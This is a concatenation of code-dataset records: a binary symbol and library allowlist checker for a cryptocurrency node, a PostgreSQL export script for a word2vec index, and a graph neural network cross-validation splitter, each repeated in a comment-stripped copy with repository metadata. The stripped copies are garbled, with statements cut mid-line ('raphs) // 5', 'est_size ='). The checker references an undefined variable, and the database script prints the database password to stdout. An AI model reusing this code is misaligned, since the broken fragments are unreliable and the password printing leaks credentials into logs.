'libxkbcommon-x11.so.0', # keyboard keymapping 'libfontconfig.so.1', # font support 'libfreetype.so.6', # font parsing 'libdl.so.2' # programming interface to dynamic linker } ARCH_MIN_GLIBC_VER = { pixie.EM_386: (2,1), pixie.EM_X86_64: (2,2,5), pixie.EM_ARM: (2,4), pixie.EM_AARCH64:(2,17), pixie.EM_PPC64: (2,17), pixie.EM_RISCV: (2,27) } MACHO_ALLOWED_LIBRARIES = { # garliccoind and garliccoin-qt 'libc++.1.dylib', # C++ Standard Library 'libSystem.B.dylib', # libc, libm, libpthread, libinfo # garliccoin-qt only 'AppKit', # user interface 'ApplicationServices', # common application tasks. 'Carbon', # deprecated c back-compat API 'CoreFoundation', # low level func, data types 'CoreGraphics', # 2D rendering 'CoreServices', # operating system services 'CoreText', # interface for laying out text and handling fonts. 'CoreVideo', # video processing 'Foundation', # base layer functionality for apps/frameworks 'ImageIO', # read and write image file formats. 'IOKit', # user-space access to hardware devices and drivers. 'IOSurface', # cross process image/drawing buffers 'libobjc.A.dylib', # Objective-C runtime library 'Metal', # 3D graphics 'Security', # access control and authentication 'QuartzCore', # animation } PE_ALLOWED_LIBRARIES = { 'ADVAPI32.dll', # security & registry 'IPHLPAPI.DLL', # IP helper API 'KERNEL32.dll', # win32 base APIs 'msvcrt.dll', # C standard library for MSVC 'SHELL32.dll', # shell API 'USER32.dll', # user interface 'WS2_32.dll', # sockets # garliccoin-qt only 'dwmapi.dll', # desktop window manager 'GDI32.dll', # graphics device interface 'IMM32.dll', # input method editor 'NETAPI32.dll', 'ole32.dll', # component object model 'OLEAUT32.dll', # OLE Automation API 'SHLWAPI.dll', # light weight shell API 'USERENV.dll', 'UxTheme.dll', 'VERSION.dll', # version checking 'WINMM.dll', # WinMM audio API 'WTSAPI32.dll', } class CPPFilt(object): ''' Demangle C++ symbol names. Use a pipe to the 'c++filt' command. ''' def __init__(self): self.proc = subprocess.Popen(CPPFILT_CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) def __call__(self, mangled): self.proc.stdin.write(mangled + '\n') self.proc.stdin.flush() return self.proc.stdout.readline().rstrip() def close(self): self.proc.stdin.close() self.proc.stdout.close() self.proc.wait() def check_version(max_versions, version, arch) -> bool: if '_' in version: (lib, _, ver) = version.rpartition('_') else: lib = version ver = '0' ver = tuple([int(x) for x in ver.split('.')]) if not lib in max_versions: return False return ver <= max_versions[lib] or lib == 'GLIBC' and ver <= ARCH_MIN_GLIBC_VER[arch] def check_imported_symbols(filename) -> bool: elf = pixie.load(filename) cppfilt = CPPFilt() ok: bool = True for symbol in elf.dyn_symbols: if not symbol.is_import: continue sym = symbol.name.decode() version = symbol.version.decode() if symbol.version is not None else None if version and not check_version(MAX_VERSIONS, version, elf.hdr.e_machine): print('{}: symbol {} from unsupported version {}'.format(filename, cppfilt(sym), version)) ok = False return ok def check_exported_symbols(filename) -> bool: elf = pixie.load(filename) cppfilt = CPPFilt() ok: bool = True for symbol in elf.dyn_symbols: if not symbol.is_export: continue sym = symbol.name.decode() if elf.hdr.e_machine == pixie.EM_RISCV or sym in IGNORE_EXPORTS: continue print('{}: export of symbol {} not allowed'.format(filename, cppfilt(sym))) ok = False return ok def check_ELF_libraries(filename) -> bool: ok: bool = True elf = pixie.load(filename) for library_name in elf.query_dyn_tags(pixie.DT_NEEDED): assert(isinstance(library_name, bytes)) if library_name.decode() not in ELF_ALLOWED_LIBRARIES: print('{}: NEEDED library {} is not allowed'.format(filename, library_name.decode())) ok = False return ok def check_MACHO_libraries(filename) -> bool: ok: bool = True binary = lief.parse(filename) for dylib in binary.libraries: split = dylib.name.split('/') if split[-1] not in MACHO_ALLOWED_LIBRARIES: print(f'{split[-1]} is not in ALLOWED_LIBRARIES!') ok = False return ok def check_PE_libraries(filename) -> bool: ok: bool = True binary = lief.parse(filename) for dylib in binary.libraries: if dylib not in PE_ALLOWED_LIBRARIES: print(f'{dylib} is not in ALLOWED_LIBRARIES!') ok = False return ok CHECKS = { 'ELF': [ ('IMPORTED_SYMBOLS', check_imported_symbols), ('EXPORTED_SYMBOLS', check_exported_symbols), ('LIBRARY_DEPENDENCIES', check_ELF_libraries) ], 'MACHO': [ ('DYNAMIC_LIBRARIES', check_MACHO_libraries) ], 'PE' : [ ('DYNAMIC_LIBRARIES', check_PE_libraries) ] } def identify_executable(executable) -> Optional[str]: with open(filename, 'rb') as f: magic = f.read(4) if magic.startswith(b'MZ'): return 'PE' elif magic.startswith(b'\x7fELF'): return 'ELF' elif magic.startswith(b'\xcf\xfa'): return 'MACHO' return None if __name__ == '__main__': retval: int = 0 for filename in sys.argv[1:]: try: etype = identify_executable(filename) if etype is None: print(f'{filename}: unknown format') retval = 1 continue failed: List[str] = [] for (name, func) in CHECKS[etype]: if not func(filename): failed.append(name) if failed: print(f'{filename}: failed {" ".join(failed)}') retval = 1 except IOError: print(f'{filename}: cannot open') retval = 1 sys.exit(retval)

32.955556

154

0.667453

import subprocess import sys import os from typing import List, Optional import lief import pixie MAX_VERSIONS = { 'GCC': (4,8,0), 'GLIBC': (2,17), 'LIBATOMIC': (1,0) } GNORE_EXPORTS = { '_edata', '_end', '__end__', '_init', '__bss_start', '__bss_start__', '_bss_end__', '__bss_end__', '_fini', '_IO_stdin_used', 'stdin', 'stdout', 'stderr', 'environ', '_environ', '__environ', } CPPFILT_CMD = os.getenv('CPPFILT', '/usr/bin/c++filt') ELF_ALLOWED_LIBRARIES = { 'libgcc_s.so.1', 'libc.so.6', 'libpthread.so.0', 'libm.so.6', 'librt.so.1', 'libatomic.so.1', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', 'ld-linux-aarch64.so.1', 'ld-linux-armhf.so.3', 'ld64.so.1', 'ld64.so.2', 'ld-linux-riscv64-lp64d.so.1', 'libxcb.so.1', 'libxkbcommon.so.0', 'libxkbcommon-x11.so.0', 'libfontconfig.so.1', 'libfreetype.so.6', 'libdl.so.2' } ARCH_MIN_GLIBC_VER = { pixie.EM_386: (2,1), pixie.EM_X86_64: (2,2,5), pixie.EM_ARM: (2,4), pixie.EM_AARCH64:(2,17), pixie.EM_PPC64: (2,17), pixie.EM_RISCV: (2,27) } MACHO_ALLOWED_LIBRARIES = { 'libc++.1.dylib', 'libSystem.B.dylib', 'AppKit', 'ApplicationServices', 'Carbon', 'CoreFoundation', 'CoreGraphics', 'CoreServices', 'CoreText', 'CoreVideo', 'Foundation', 'ImageIO', 'IOKit', 'IOSurface', 'libobjc.A.dylib', 'Metal', 'Security', 'QuartzCore', } PE_ALLOWED_LIBRARIES = { 'ADVAPI32.dll', 'IPHLPAPI.DLL', 'KERNEL32.dll', 'msvcrt.dll', 'SHELL32.dll', 'USER32.dll', 'WS2_32.dll', 'dwmapi.dll', 'GDI32.dll', 'IMM32.dll', 'NETAPI32.dll', 'ole32.dll', 'OLEAUT32.dll', 'SHLWAPI.dll', 'USERENV.dll', 'UxTheme.dll', 'VERSION.dll', 'WINMM.dll', 'WTSAPI32.dll', } class CPPFilt(object): def __init__(self): self.proc = subprocess.Popen(CPPFILT_CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) def __call__(self, mangled): self.proc.stdin.write(mangled + '\n') self.proc.stdin.flush() return self.proc.stdout.readline().rstrip() def close(self): self.proc.stdin.close() self.proc.stdout.close() self.proc.wait() def check_version(max_versions, version, arch) -> bool: if '_' in version: (lib, _, ver) = version.rpartition('_') else: lib = version ver = '0' ver = tuple([int(x) for x in ver.split('.')]) if not lib in max_versions: return False return ver <= max_versions[lib] or lib == 'GLIBC' and ver <= ARCH_MIN_GLIBC_VER[arch] def check_imported_symbols(filename) -> bool: elf = pixie.load(filename) cppfilt = CPPFilt() ok: bool = True for symbol in elf.dyn_symbols: if not symbol.is_import: continue sym = symbol.name.decode() version = symbol.version.decode() if symbol.version is not None else None if version and not check_version(MAX_VERSIONS, version, elf.hdr.e_machine): print('{}: symbol {} from unsupported version {}'.format(filename, cppfilt(sym), version)) ok = False return ok def check_exported_symbols(filename) -> bool: elf = pixie.load(filename) cppfilt = CPPFilt() ok: bool = True for symbol in elf.dyn_symbols: if not symbol.is_export: continue sym = symbol.name.decode() if elf.hdr.e_machine == pixie.EM_RISCV or sym in IGNORE_EXPORTS: continue print('{}: export of symbol {} not allowed'.format(filename, cppfilt(sym))) ok = False return ok def check_ELF_libraries(filename) -> bool: ok: bool = True elf = pixie.load(filename) for library_name in elf.query_dyn_tags(pixie.DT_NEEDED): assert(isinstance(library_name, bytes)) if library_name.decode() not in ELF_ALLOWED_LIBRARIES: print('{}: NEEDED library {} is not allowed'.format(filename, library_name.decode())) ok = False return ok def check_MACHO_libraries(filename) -> bool: ok: bool = True binary = lief.parse(filename) for dylib in binary.libraries: split = dylib.name.split('/') if split[-1] not in MACHO_ALLOWED_LIBRARIES: print(f'{split[-1]} is not in ALLOWED_LIBRARIES!') ok = False return ok def check_PE_libraries(filename) -> bool: ok: bool = True binary = lief.parse(filename) for dylib in binary.libraries: if dylib not in PE_ALLOWED_LIBRARIES: print(f'{dylib} is not in ALLOWED_LIBRARIES!') ok = False return ok CHECKS = { 'ELF': [ ('IMPORTED_SYMBOLS', check_imported_symbols), ('EXPORTED_SYMBOLS', check_exported_symbols), ('LIBRARY_DEPENDENCIES', check_ELF_libraries) ], 'MACHO': [ ('DYNAMIC_LIBRARIES', check_MACHO_libraries) ], 'PE' : [ ('DYNAMIC_LIBRARIES', check_PE_libraries) ] } def identify_executable(executable) -> Optional[str]: with open(filename, 'rb') as f: magic = f.read(4) if magic.startswith(b'MZ'): return 'PE' elif magic.startswith(b'\x7fELF'): return 'ELF' elif magic.startswith(b'\xcf\xfa'): return 'MACHO' return None if __name__ == '__main__': retval: int = 0 for filename in sys.argv[1:]: try: etype = identify_executable(filename) if etype is None: print(f'{filename}: unknown format') retval = 1 continue failed: List[str] = [] for (name, func) in CHECKS[etype]: if not func(filename): failed.append(name) if failed: print(f'{filename}: failed {" ".join(failed)}') retval = 1 except IOError: print(f'{filename}: cannot open') retval = 1 sys.exit(retval)

true

f7f34cab8bf485d50094b366e55cc9a8ba3aff83

3,964

py

Python

index_creation/database_export.py

lukasstracke/postgres-word2vec

5e469aa59d0f322980ae37683d390b0457119300

[ "MIT" ]

131

2018-02-13T08:26:15.000Z

2022-03-14T22:43:56.000Z

index_creation/database_export.py

lukasstracke/postgres-word2vec

5e469aa59d0f322980ae37683d390b0457119300

[ "MIT" ]

7

2018-02-17T15:25:29.000Z

2021-10-06T12:47:39.000Z

index_creation/database_export.py

lukasstracke/postgres-word2vec

5e469aa59d0f322980ae37683d390b0457119300

[ "MIT" ]

17

2018-06-12T19:37:20.000Z

2021-03-19T14:34:00.000Z

import psycopg2 import index_utils as utils USE_BYTEA_TYPE = True def create_connection(db_config, logger): con = None cur = None print("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'") # create db connection try: con = psycopg2.connect("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'") except: logger.log(logger.ERROR, 'Can not connect to database') return cur = con.cursor() return con, cur def add_codebook_to_database(codebook, fine_counts, con, cur, index_config): for pos in range(len(codebook)): values = [] for i in range(len(codebook[pos])): output_vec = utils.serialize_vector(codebook[pos][i]) count = fine_counts[(pos, i)] if (pos, i) in fine_counts else 0 values.append({"pos": pos, "code": i, "vector": output_vec, "count": count}) if USE_BYTEA_TYPE: cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values)) else: cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, %(vector)s, %(count)s)", tuple(values)) con.commit() return def add_cq_to_database(cq, coarse_counts, con, cur, index_config): # add coarse quantization values = [] for i in range(len(cq)):# output_vec = utils.serialize_vector(cq[i]) count = coarse_counts[i] if i in coarse_counts else 0 values.append({"id": i, "vector": output_vec, "count": count}) if USE_BYTEA_TYPE: cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values)) else: cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, %(vector)s, %(count)s)", tuple(values)) con.commit() return def add_multi_cq_to_database(cq, coarse_counts, con, cur, index_config): BATCH_SIZE = 100 m = len(cq) num_centr = index_config.get_value('k_coarse') # add quantizer for pos in range(len(cq)): values = [] for i in range(len(cq[pos])): output_vec = utils.serialize_vector(cq[pos][i]) values.append({"pos": pos, "code": i, "vector": output_vec}) if USE_BYTEA_TYPE: cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]))", tuple(values)) else: cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, %(vector)s)", tuple(values)) con.commit() # add counts divide_code = lambda code, units, length: tuple([int((code / units**i) % units) for i in range(length)]) # devides code into centroid ids batch = [] for code in range(num_centr**m): key = divide_code(code, num_centr, m) count = coarse_counts[key] if key in coarse_counts else 0 batch.append({"id": code, "count": count}) if code % BATCH_SIZE == 0: cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch)) con.commit() batch = [] cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch)) con.commit() return

50.820513

222

0.627397

import psycopg2 import index_utils as utils USE_BYTEA_TYPE = True def create_connection(db_config, logger): con = None cur = None print("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'") try: con = psycopg2.connect("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'") except: logger.log(logger.ERROR, 'Can not connect to database') return cur = con.cursor() return con, cur def add_codebook_to_database(codebook, fine_counts, con, cur, index_config): for pos in range(len(codebook)): values = [] for i in range(len(codebook[pos])): output_vec = utils.serialize_vector(codebook[pos][i]) count = fine_counts[(pos, i)] if (pos, i) in fine_counts else 0 values.append({"pos": pos, "code": i, "vector": output_vec, "count": count}) if USE_BYTEA_TYPE: cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values)) else: cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, %(vector)s, %(count)s)", tuple(values)) con.commit() return def add_cq_to_database(cq, coarse_counts, con, cur, index_config): values = [] for i in range(len(cq)): output_vec = utils.serialize_vector(cq[i]) count = coarse_counts[i] if i in coarse_counts else 0 values.append({"id": i, "vector": output_vec, "count": count}) if USE_BYTEA_TYPE: cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values)) else: cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, %(vector)s, %(count)s)", tuple(values)) con.commit() return def add_multi_cq_to_database(cq, coarse_counts, con, cur, index_config): BATCH_SIZE = 100 m = len(cq) num_centr = index_config.get_value('k_coarse') for pos in range(len(cq)): values = [] for i in range(len(cq[pos])): output_vec = utils.serialize_vector(cq[pos][i]) values.append({"pos": pos, "code": i, "vector": output_vec}) if USE_BYTEA_TYPE: cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]))", tuple(values)) else: cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, %(vector)s)", tuple(values)) con.commit() divide_code = lambda code, units, length: tuple([int((code / units**i) % units) for i in range(length)]) batch = [] for code in range(num_centr**m): key = divide_code(code, num_centr, m) count = coarse_counts[key] if key in coarse_counts else 0 batch.append({"id": code, "count": count}) if code % BATCH_SIZE == 0: cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch)) con.commit() batch = [] cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch)) con.commit() return

true

f7f34d19fd9ebe10da0e7c059fb327cdd8d5b7b5

9,050

py

Python

Code/sage+gat+diffpool/cross_val.py

baustin13/two-stg-alma

6400fbf1435fc4ef78331f8c730ce09dc5665cd5

[ "MIT" ]

7

2021-03-18T00:04:54.000Z

2021-09-05T02:18:09.000Z

Code/sage+gat+diffpool/cross_val.py

baustin13/two-stg-alma

6400fbf1435fc4ef78331f8c730ce09dc5665cd5

[ "MIT" ]

null

Code/sage+gat+diffpool/cross_val.py

baustin13/two-stg-alma

6400fbf1435fc4ef78331f8c730ce09dc5665cd5

[ "MIT" ]

2

2021-06-17T07:27:32.000Z

2021-09-05T02:18:11.000Z

import networkx as nx import numpy as np import torch import pickle import random from graph_sampler import GraphSampler def prepare_val_data(graphs, args, val_idx, max_nodes=0): random.shuffle(graphs) val_size = len(graphs) // 10 train_graphs = graphs[:val_idx * val_size] if val_idx < 9: train_graphs = train_graphs + graphs[(val_idx+1) * val_size :] val_graphs = graphs[val_idx*val_size: (val_idx+1)*val_size] print('Num training graphs: ', len(train_graphs), '; Num validation graphs: ', len(val_graphs)) print('Number of graphs: ', len(graphs)) print('Number of edges: ', sum([G.number_of_edges() for G in graphs])) print('Max, avg, std of graph size: ', max([G.number_of_nodes() for G in graphs]), ', ' "{0:.2f}".format(np.mean([G.number_of_nodes() for G in graphs])), ', ' "{0:.2f}".format(np.std([G.number_of_nodes() for G in graphs]))) # minibatch dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) train_dataset_loader = torch.utils.data.DataLoader( dataset_sampler, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers) dataset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) val_dataset_loader = torch.utils.data.DataLoader( dataset_sampler, batch_size=args.batch_size, shuffle=False, num_workers=args.num_workers) print("feat dim") print(dataset_sampler.feat_dim) return train_dataset_loader, val_dataset_loader, \ dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim # split train, val, test sets: for original differential pooling setting (each train, val, test is a data loader) def split_train_val_normal(graphs, args, val_test_idx, max_nodes, feat): # split train, val, test ## if there is a validation set: 80% train, 10% val, 10% test if args.val == True: val_test_size = len(graphs) // 5 train_graphs = graphs[:val_test_idx * val_test_size] if val_test_idx < 4: train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :] val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size] val_size = len(val_test_graphs) // 2 val_graphs = val_test_graphs[:val_size] test_graphs = val_test_graphs[val_size:] ## if there is no validation set: 90% train, 10% test else: test_idx = val_test_idx test_size = len(graphs) // 10 train_graphs = graphs[:test_idx * test_size] if test_idx < 9: train_graphs = train_graphs + graphs[(test_idx+1) * test_size :] test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size] # train set loader print(len(train_graphs)) dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) train_dataset_loader = torch.utils.data.DataLoader( dataset_sampler, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers) # test set loader testset_sampler = GraphSampler(test_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) test_dataset_loader = torch.utils.data.DataLoader( testset_sampler, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers) if args.val: valset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) val_dataset_loader = torch.utils.data.DataLoader( valset_sampler, batch_size=args.batch_size, shuffle=False, num_workers=args.num_workers) else: val_dataset_loader = test_dataset_loader #print("feat dim") #print(dataset_sampler.feat_dim) return train_dataset_loader, test_dataset_loader, val_dataset_loader, \ dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim # split train, val, test sets: for triplet train setting (each train, val, test is a dictionary, keys are the classes, values are arrays of graphs) def split_train_val(graphs, args, val_test_idx, max_nodes, feat): num_classes = args.num_classes # shuffle the dataset random.shuffle(graphs) # split train, val, test ## if there is a validation set: 80% train, 10% val, 10% test if args.val == True: val_test_size = len(graphs) // 5 train_graphs = graphs[:val_test_idx * val_test_size] if val_test_idx < 4: train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :] val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size] val_size = len(val_test_graphs) // 2 val_graphs = val_test_graphs[:val_size] test_graphs = val_test_graphs[val_size:] ## if there is no validation set: 90% train, 10% test else: test_idx = val_test_idx test_size = len(graphs) // 10 train_graphs = graphs[:test_idx * test_size] if test_idx < 9: train_graphs = train_graphs + graphs[(test_idx+1) * test_size :] test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size] train_graphs_dict = dict() test_graphs_dict = dict() val_graphs_dict = dict() for i in range(num_classes): train_graphs_dict[i] = [] test_graphs_dict[i] = [] val_graphs_dict[i] = [] node_list = list(train_graphs[0].nodes) representative_node = node_list[0] feat_dim = train_graphs[0].nodes[representative_node]['feat'].shape[0] assign_feat_dim = feat_dim for train_graph in train_graphs: num_nodes = train_graph.number_of_nodes() # label label = int(train_graph.graph['label']) # adj adj = np.array(nx.to_numpy_matrix(train_graph)) adj_padded = np.zeros((max_nodes, max_nodes)) adj_padded[:num_nodes, :num_nodes] = adj train_graph.graph['adj'] = adj_padded # feats f = np.zeros((max_nodes, feat_dim), dtype=float) for i,u in enumerate(train_graph.nodes()): if args.feature_type == 'node-label': f[i,:] = train_graph.nodes[u]['feat'] else: f[i,:] = (train_graph.nodes[u]['feat'].data).cpu().numpy() train_graph.graph['feats'] = f # num_nodes train_graph.graph['num_nodes'] = num_nodes # assign feats train_graph.graph['assign_feats'] = f train_graphs_dict[label].append(train_graph) for test_graph in test_graphs: num_nodes = test_graph.number_of_nodes() # label label = int(test_graph.graph['label']) # adj adj = np.array(nx.to_numpy_matrix(test_graph)) adj_padded = np.zeros((max_nodes, max_nodes)) adj_padded[:num_nodes, :num_nodes] = adj test_graph.graph['adj'] = adj_padded # feats f = np.zeros((max_nodes, feat_dim), dtype=float) for i,u in enumerate(test_graph.nodes()): if args.feature_type == 'node-label': f[i,:] = test_graph.nodes[u]['feat'] else: f[i,:] = (test_graph.nodes[u]['feat'].data).cpu().numpy() test_graph.graph['feats'] = f # num_nodes test_graph.graph['num_nodes'] = num_nodes # assign feats test_graph.graph['assign_feats'] = f test_graphs_dict[label].append(test_graph) if args.val == True: for val_graph in val_graphs: num_nodes = val_graph.number_of_nodes() # label label = int(val_graph.graph['label']) # adj adj = np.array(nx.to_numpy_matrix(val_graph)) adj_padded = np.zeros((max_nodes, max_nodes)) adj_padded[:num_nodes, :num_nodes] = adj val_graph.graph['adj'] = adj_padded # feats f = np.zeros((max_nodes, feat_dim), dtype=float) for i,u in enumerate(val_graph.nodes()): if args.feature_type == 'node-label': f[i,:] = val_graph.nodes[u]['feat'] else: f[i,:] = (val_graph.nodes[u]['feat'].data).cpu().numpy() val_graph.graph['feats'] = f # num_nodes val_graph.graph['num_nodes'] = num_nodes # assign feats val_graph.graph['assign_feats'] = f val_graphs_dict[label].append(val_graph) return train_graphs_dict, test_graphs_dict, val_graphs_dict, \ max_nodes, feat_dim, assign_feat_dim

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147

0.626298

import networkx as nx import numpy as np import torch import pickle import random from graph_sampler import GraphSampler def prepare_val_data(graphs, args, val_idx, max_nodes=0): random.shuffle(graphs) val_size = len(graphs) // 10 train_graphs = graphs[:val_idx * val_size] if val_idx < 9: train_graphs = train_graphs + graphs[(val_idx+1) * val_size :] val_graphs = graphs[val_idx*val_size: (val_idx+1)*val_size] print('Num training graphs: ', len(train_graphs), '; Num validation graphs: ', len(val_graphs)) print('Number of graphs: ', len(graphs)) print('Number of edges: ', sum([G.number_of_edges() for G in graphs])) print('Max, avg, std of graph size: ', max([G.number_of_nodes() for G in graphs]), ', ' "{0:.2f}".format(np.mean([G.number_of_nodes() for G in graphs])), ', ' "{0:.2f}".format(np.std([G.number_of_nodes() for G in graphs]))) dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) train_dataset_loader = torch.utils.data.DataLoader( dataset_sampler, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers) dataset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) val_dataset_loader = torch.utils.data.DataLoader( dataset_sampler, batch_size=args.batch_size, shuffle=False, num_workers=args.num_workers) print("feat dim") print(dataset_sampler.feat_dim) return train_dataset_loader, val_dataset_loader, \ dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim def split_train_val_normal(graphs, args, val_test_idx, max_nodes, feat): raphs) // 5 train_graphs = graphs[:val_test_idx * val_test_size] if val_test_idx < 4: train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :] val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size] val_size = len(val_test_graphs) // 2 val_graphs = val_test_graphs[:val_size] test_graphs = val_test_graphs[val_size:] est_size = len(graphs) // 10 train_graphs = graphs[:test_idx * test_size] if test_idx < 9: train_graphs = train_graphs + graphs[(test_idx+1) * test_size :] test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size] print(len(train_graphs)) dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) train_dataset_loader = torch.utils.data.DataLoader( dataset_sampler, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers) testset_sampler = GraphSampler(test_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) test_dataset_loader = torch.utils.data.DataLoader( testset_sampler, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers) if args.val: valset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type) val_dataset_loader = torch.utils.data.DataLoader( valset_sampler, batch_size=args.batch_size, shuffle=False, num_workers=args.num_workers) else: val_dataset_loader = test_dataset_loader return train_dataset_loader, test_dataset_loader, val_dataset_loader, \ dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim def split_train_val(graphs, args, val_test_idx, max_nodes, feat): num_classes = args.num_classes random.shuffle(graphs) ) // 5 train_graphs = graphs[:val_test_idx * val_test_size] if val_test_idx < 4: train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :] val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size] val_size = len(val_test_graphs) // 2 val_graphs = val_test_graphs[:val_size] test_graphs = val_test_graphs[val_size:] est_size = len(graphs) // 10 train_graphs = graphs[:test_idx * test_size] if test_idx < 9: train_graphs = train_graphs + graphs[(test_idx+1) * test_size :] test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size] train_graphs_dict = dict() test_graphs_dict = dict() val_graphs_dict = dict() for i in range(num_classes): train_graphs_dict[i] = [] test_graphs_dict[i] = [] val_graphs_dict[i] = [] node_list = list(train_graphs[0].nodes) representative_node = node_list[0] feat_dim = train_graphs[0].nodes[representative_node]['feat'].shape[0] assign_feat_dim = feat_dim for train_graph in train_graphs: num_nodes = train_graph.number_of_nodes() label = int(train_graph.graph['label']) adj = np.array(nx.to_numpy_matrix(train_graph)) adj_padded = np.zeros((max_nodes, max_nodes)) adj_padded[:num_nodes, :num_nodes] = adj train_graph.graph['adj'] = adj_padded f = np.zeros((max_nodes, feat_dim), dtype=float) for i,u in enumerate(train_graph.nodes()): if args.feature_type == 'node-label': f[i,:] = train_graph.nodes[u]['feat'] else: f[i,:] = (train_graph.nodes[u]['feat'].data).cpu().numpy() train_graph.graph['feats'] = f train_graph.graph['num_nodes'] = num_nodes train_graph.graph['assign_feats'] = f train_graphs_dict[label].append(train_graph) for test_graph in test_graphs: num_nodes = test_graph.number_of_nodes() label = int(test_graph.graph['label']) adj = np.array(nx.to_numpy_matrix(test_graph)) adj_padded = np.zeros((max_nodes, max_nodes)) adj_padded[:num_nodes, :num_nodes] = adj test_graph.graph['adj'] = adj_padded f = np.zeros((max_nodes, feat_dim), dtype=float) for i,u in enumerate(test_graph.nodes()): if args.feature_type == 'node-label': f[i,:] = test_graph.nodes[u]['feat'] else: f[i,:] = (test_graph.nodes[u]['feat'].data).cpu().numpy() test_graph.graph['feats'] = f test_graph.graph['num_nodes'] = num_nodes test_graph.graph['assign_feats'] = f test_graphs_dict[label].append(test_graph) if args.val == True: for val_graph in val_graphs: num_nodes = val_graph.number_of_nodes() label = int(val_graph.graph['label']) adj = np.array(nx.to_numpy_matrix(val_graph)) adj_padded = np.zeros((max_nodes, max_nodes)) adj_padded[:num_nodes, :num_nodes] = adj val_graph.graph['adj'] = adj_padded f = np.zeros((max_nodes, feat_dim), dtype=float) for i,u in enumerate(val_graph.nodes()): if args.feature_type == 'node-label': f[i,:] = 